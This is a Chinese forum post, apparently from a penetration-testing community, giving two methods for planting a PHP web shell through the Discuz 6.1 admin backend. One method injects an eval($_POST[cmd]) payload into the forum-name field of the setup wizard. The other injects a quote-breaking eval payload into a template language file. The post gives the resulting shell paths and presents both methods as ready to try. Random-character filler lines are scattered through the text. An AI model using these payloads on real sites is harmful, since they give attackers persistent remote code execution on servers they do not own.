中国网络渗透测试联盟
标题:
discuz6.1后台拿shell方法
[打印本页]
作者:
admin
时间:
2012-9-13 16:59
标题:
discuz6.1后台拿shell方法
discuz6.1两种方法后台拿shell
. W% Q; o9 d# l8 W
好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下
6 S4 p. }, L9 B# F
1:
% R q6 l' [, u! [, j* x
http://127.0.0.1/discuz/admincp. ... zard&frames=yes
1 m% ?( G/ N$ |
admincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell
9 X2 O9 i! j( H# R* i
<?php eval($_POST[cmd]);?>
. P% U5 ^, u* Z/ v$ k
后台webshell地址：
http://127.0.0.1/discuz/forumdata/logs/runwizardlog.php
. m$ B2 S/ d' G8 |) g) c
/ T1 [% M) i$ B
, `7 E7 k& a! P9 j
2:后台模板管理--默认模板套系--详情
6 U4 s9 w/ | S6 Q: I: z
templates/default/actions.lang.php
: i+ X T s9 O- i( m
jhackj\\');eval($_POST[cmd])?>;//
; N( u) ?) Y, _* c+ [
7 h* I0 d, Y5 |% t
利用很简单,聪明的人一看就懂了
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2